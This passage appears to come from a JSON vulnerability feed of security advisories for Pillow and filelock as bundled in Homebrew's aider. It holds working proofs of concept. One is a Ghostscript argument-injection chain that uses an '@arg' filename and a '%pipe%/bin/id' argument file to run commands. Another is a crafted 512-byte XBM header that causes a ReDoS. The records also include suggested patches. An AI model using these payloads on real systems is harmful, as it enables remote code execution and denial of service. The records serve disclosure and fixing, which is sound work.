print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e)\n    except OSError as e:\n        print(\"load() reached gs:\", e)\n\nover = False\nfor c in calls:\n    g = next(a for a in c if a.startswith(\"-g\"))[2:]\n    w, h = map(int, g.split(\"x\"))\n    over |= w * h > hard\n    print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \"\n          f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\")\nprint(\"BUG\" if calls and over and not bomb_before_gs else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-vx6w-vv9f-6gvg"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/3e8cc105588d1dfe062fcada0b6058c1b5f14b65"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112900","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-w889-685w-c8fh","CVE-2026-112900","BIT-pillow-2026-112900"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Argument Injection in Ghostscript call, potentially leading into RCE","details":"### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n    infile = fp.name                      # user-controlled path used as-is, without validation\nelse:\n    in_fd, infile_temp = tempfile.mkstemp()\n    os.close(in_fd)\n    infile = infile_temp\n    # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n    gs_binary,\n    \"-q\",\n    f\"-g{width:d}x{height:d}\",\n    f\"-r{res_x:f}x{res_y:f}\",\n    \"-dBATCH\",\n    \"-dNOPAUSE\",\n    \"-dSAFER\",                            # default sandbox — does NOT stop this injection\n    f\"-sDEVICE={device}\",\n    f\"-sOutputFile={outfile}\",\n    \"-c\",\n    f\"{-bbox[0]} {-bbox[1]} translate\",\n    \"-f\",\n    infile,                               # injected here: inserted into argv with no check for\n                                          # option prefixes (-, --) or Ghostscript's @-file token\n                                          # => argument injection (CWE-88)\n    \"-c\",\n    \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n    if hasattr(fp, \"name\") and os.path.exists(fp.name):\n        infile = os.path.abspath(fp.name)   # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"*********************************************\")\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection  ; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't call `id`\")\n```\narg\n```\n-sOutputFile=%pipe%/bin/id\n-c\n1\ndict\ndup\n/OutputFile\n(%pipe%/bin/id)\nput\nsetpagedevice\n```\n\n### Impact\n**Confirmed — Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.\n\n**Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@<path>` causes Ghostscript to read additional command-line arguments from `<path>`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of `id`).\n\nApplies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)\n\n### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk)\nThis is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this.\nBecause Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.\n\n### Author\nChanu Kang (from CysecLab at KAIST) @HLe4s","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112900"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112901","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-xgh8-jp6q-p5x8","CVE-2026-112901","BIT-pillow-2026-112901","PYSEC-2026-4335"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes","details":"```\n============================================================================\nReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes\nLocation: src/PIL/XbmImagePlugin.py:58  in XbmImageFile._open()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.\n\nThe cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \\t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\\r\\n]+` closing the hotspot group overlaps with the following `[\\000-\\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `\"XBM\"`.\n\nThe attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.\n\n## Details\n\n`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\\000-\\377]*_bits\\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.\n\nThis 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:\n\n```python\nk = 60\ndata  = b\"#define\" + b\" \"*k + b\"_width 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_height 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_x_hot 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_y_hot 1\" + b\"\\r\"*k\ndata += b\"_bits\"                      # no \"[]\": the final literal never matches\ndata += b\"A\" * (512 - len(data))      # pad to the 512 bytes _open() reads\n```\n\nCalling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.\n\nThe regex, `src/PIL/XbmImagePlugin.py:32`:\n\n```python\nxbm_head = re.compile(\n    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P<width>[0-9]+)[\\r\\n]+\"\n    b\"#define[ \\t]+.*_height[ \\t]+(?P<height>[0-9]+)[\\r\\n]+\"\n    b\"(?P<hotspot>\"\n    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P<xhot>[0-9]+)[\\r\\n]+\"\n    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P<yhot>[0-9]+)[\\r\\n]+\"\n    b\")?\"\n    rb\"[\\000-\\377]*_bits\\[]\"\n)\n```\n\nand the only call site, `src/PIL/XbmImagePlugin.py:58`:\n\n```python\n    def _open(self) -> None:\n        …\n        m = xbm_head.match(self.fp.read(512))\n        if not m:\n            msg = \"not a XBM file\"\n            raise SyntaxError(msg)\n```\n\nFor a well-formed header (`#define im_width 8\\n…static char im_bits[] = {`) each `[ \\t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\\000-\\377]*_bits\\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:\n\n- `[ \\t]+.*_width` and `[ \\t]+.*_height`: the run of k spaces after `#define` can be split between `[ \\t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\\r` terminators is incidental: the same header with `\\n` terminators is equally slow.)\n- `[ \\t]+[^_]*_x_hot` and `[ \\t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.\n- `[\\r\\n]+` closing the `hotspot` group, followed by `)?` and `[\\000-\\377]*`: the run of k `\\r` bytes after `_y_hot 1` can be divided between `[\\r\\n]+` and `[\\000-\\377]*` in k ways. Factor k.\n- `[\\000-\\377]*_bits\\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited.\n\nCPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per `open()` is bounded, but the bound is minutes of CPU.\n\nThe path is the default one. `Image.open()` (`src/PIL/Image.py:3719`) reads a 16-byte prefix and offers it to every registered plugin's accept hook; `XbmImagePlugin._accept()` (`src/PIL/XbmImagePlugin.py:43`) returns true for anything whose left-stripped prefix starts with `#define`, and `_open()` then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is `UnidentifiedImageError` after the delay. File name and extension are irrelevant because dispatch is by content. A `faulthandler` stack dump taken 20 s into the call shows the interpreter at `XbmImagePlugin.py:58 in _open` ← `ImageFile.py:154 in __init__` ← `Image.py:3699 in _open_core` ← `Image.py:3719 in open`.\n\n`ImageFile.Parser.feed()` (`src/PIL/ImageFile.py:584`) amplifies this further: until the stream is identified it calls `Image.open()` on all accumulated data at every `feed()`, so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks → 4.6 s versus 0.76 s for a single `open()`).\n\n## Impact\n\nAnyone who can get 512 bytes in front of `Image.open()` — an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image — pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no `DecompressionBombWarning`/`Error` fires; application-side upload size limits do not help because the file is tiny, and `Image.MAX_IMAGE_PIXELS` is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit `formats=` allowlist to `Image.open()` that excludes `\"XBM\"` are not affected.\n\nThis is the same bug class as CVE-2021-25292 (catastrophic backtracking in the `PdfParser` regexes, fixed in 8.1.1) and CVE-2021-23437 (`ImageColor.getrgb` ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain `Image.open()` on any byte stream.\n\n## Reproducing\n\n`repro` is a single Python script. It uses the installed Pillow through the public `Image.open()` API and needs no rebuild.\n\nEach input is the 512-byte header from Details: four `#define` lines with k spaces after `#define`, lines ending in `\\r`, k `\\r` bytes after `_y_hot 1`, padding with `A` up to the 512 bytes that `_open()` reads. The only thing that changes between inputs is the tail: `_bits[]` (valid) or `_bits` (the final literal can never match).\n\n1. **Control.** Opens the k = 60 header with the tail `_bits[]`. The regex matches on its first try and Pillow reports `XBM (1, 1)` in about 50 ms. This shows that the same bytes are only slow when the match has to fail.\n2. **Attack.** Opens the header with the tail `_bits` at k = 10, 15, 20 and 25. Each one raises `UnidentifiedImageError`, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run.\n\nExpected output on this commit:\n\n```\ncontrol k=60 '_bits[]': XBM (1, 1) in 0.052s\nattack  k=10 '_bits'  : UnidentifiedImageError in 0.105s\nattack  k=15 '_bits'  : UnidentifiedImageError in 0.748s\nattack  k=20 '_bits'  : UnidentifiedImageError in 3.024s\nattack  k=25 '_bits'  : UnidentifiedImageError in 8.561s\nBUG\n```\n\nThe script prints `BUG` only when all of these hold:\n\n- the control header opened as `XBM` in under 1 s;\n- the k = 25 attack input took more than 2 s;\n- the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k.\n\nOtherwise it prints `OK`. With the attached patch applied, every attack input is rejected at once, so the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch removes the overlap between `[ \\t]+` and the quantifier that matches the identifier prefix in `xbm_head` (`src/PIL/XbmImagePlugin.py:32-40`), so the whitespace after `#define` can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with `[^ \\t\\r\\n]*` (and `[^ \\t\\r\\n_]*` in the hotspot group, which keeps the existing \"no underscore before `_x_hot`/`_y_hot`\" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes:\n\n```diff\n xbm_head = re.compile(\n-    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P<width>[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+.*_height[ \\t]+(?P<height>[0-9]+)[\\r\\n]+\"\n+    rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P<width>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P<height>[0-9]+)[\\r\\n]+\"\n     b\"(?P<hotspot>\"\n-    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P<xhot>[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P<yhot>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P<xhot>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P<yhot>[0-9]+)[\\r\\n]+\"\n     b\")?\"\n     rb\"[\\000-\\377]*_bits\\[]\"\n )\n```\n\nThis mirrors the `PdfParser` fix for CVE-2021-25292. The patch also adds a `test_redos` case to `Tests/test_file_xbm.py`, in the style of the one in `Tests/test_file_pdf.py`: it builds the k = 60 header from Details and, under `@timeout_unless_slower_valgrind(1)`, expects `XbmImageFile` to raise `SyntaxError`. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and the existing `Tests/test_file_xbm.py` (including `hopper.xbm`, `hopper_underscore.xbm` and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (`#define foo bar_width 16`), which is not valid C and is not produced by Pillow's own XBM writer.\n\n## The patch\n\nUse more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header\n\nApplies to `src/PIL/XbmImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py\nindex 1988c417f..67236c795 100644\n--- a/Tests/test_file_xbm.py\n+++ b/Tests/test_file_xbm.py\n@@ -6,7 +6,7 @@ import pytest\n \n from PIL import Image, XbmImagePlugin\n \n-from .helper import hopper\n+from .helper import hopper, timeout_unless_slower_valgrind\n \n TYPE_CHECKING = False\n if TYPE_CHECKING:\n@@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -> None:\n \n     with Image.open(out) as reloaded:\n         assert reloaded.info[\"hotspot\"] == hotspot\n+\n+\n+@timeout_unless_slower_valgrind(1)\n+def test_redos() -> None:\n+    k = 60\n+    malicious = b\"#define\" + b\" \" * k + b\"_width 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_height 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_x_hot 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_y_hot 1\" + b\"\\r\" * k + b\"_bits\"\n+    malicious += b\"A\" * (512 - len(malicious))\n+\n+    # The important thing is it doesn't timeout, cause a ReDoS\n+    with pytest.raises(SyntaxError):\n+        XbmImagePlugin.XbmImageFile(BytesIO(malicious))\ndiff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py\nindex 95729d73d..7435d20f2 100644\n--- a/src/PIL/XbmImagePlugin.py\n+++ b/src/PIL/XbmImagePlugin.py\n@@ -29,12 +29,14 @@ if TYPE_CHECKING:\n     from typing import IO\n \n # XBM header\n+# The identifier before each suffix cannot contain whitespace, so that it\n+# cannot overlap with the preceding [ \\t]+ and cause a ReDoS\n xbm_head = re.compile(\n-    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P<width>[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+.*_height[ \\t]+(?P<height>[0-9]+)[\\r\\n]+\"\n+    rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P<width>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P<height>[0-9]+)[\\r\\n]+\"\n     b\"(?P<hotspot>\"\n-    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P<xhot>[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P<yhot>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P<xhot>[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P<yhot>[0-9]+)[\\r\\n]+\"\n     b\")?\"\n     rb\"[\\000-\\377]*_bits\\[]\"\n )\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 1,138 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open()\n# on a <=512-byte stream. Prints BUG if a failing 512-byte header takes\n# super-linearly long while the same-shaped valid header opens instantly.\nimport io, time\nfrom PIL import Image\n\ndef hdr(k, tail):\n    d = b\"\"\n    for name in (b\"_width 1\\r\", b\"_height 1\\r\", b\"_x_hot 1\\r\", b\"_y_hot 1\"):\n        d += b\"#define\" + b\" \" * k + name\n    d += b\"\\r\" * k + tail\n    return d + b\"A\" * (512 - len(d))\n\ndef timed(data):\n    s = time.perf_counter()\n    try:\n        im = Image.open(io.BytesIO(data)); r = f\"{im.format} {im.size}\"\n    except Exception as e:\n        r = type(e).__name__\n    return r, time.perf_counter() - s\n\nctl, tc = timed(hdr(60, b\"_bits[]\"))\nprint(f\"control k=60 '_bits[]': {ctl} in {tc:.3f}s\")\nts = {}\nfor k in (10, 15, 20, 25):\n    r, ts[k] = timed(hdr(k, b\"_bits\"))\n    print(f\"attack  k={k:2d} '_bits'  : {r} in {ts[k]:.3f}s\", flush=True)\n# k=60 (fits easily in 512 bytes) runs for minutes; not executed here.\nbug = ctl.startswith(\"XBM\") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15]\nprint(\"BUG\" if bug else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112901"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112909","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-69hj-f68j-2879","CVE-2026-112909"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@3.20.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"3.20.3","key":"pkg:pypi/filelock@3.20.3","resource":"filelock"}]},"summary":"filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path","details":"`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with 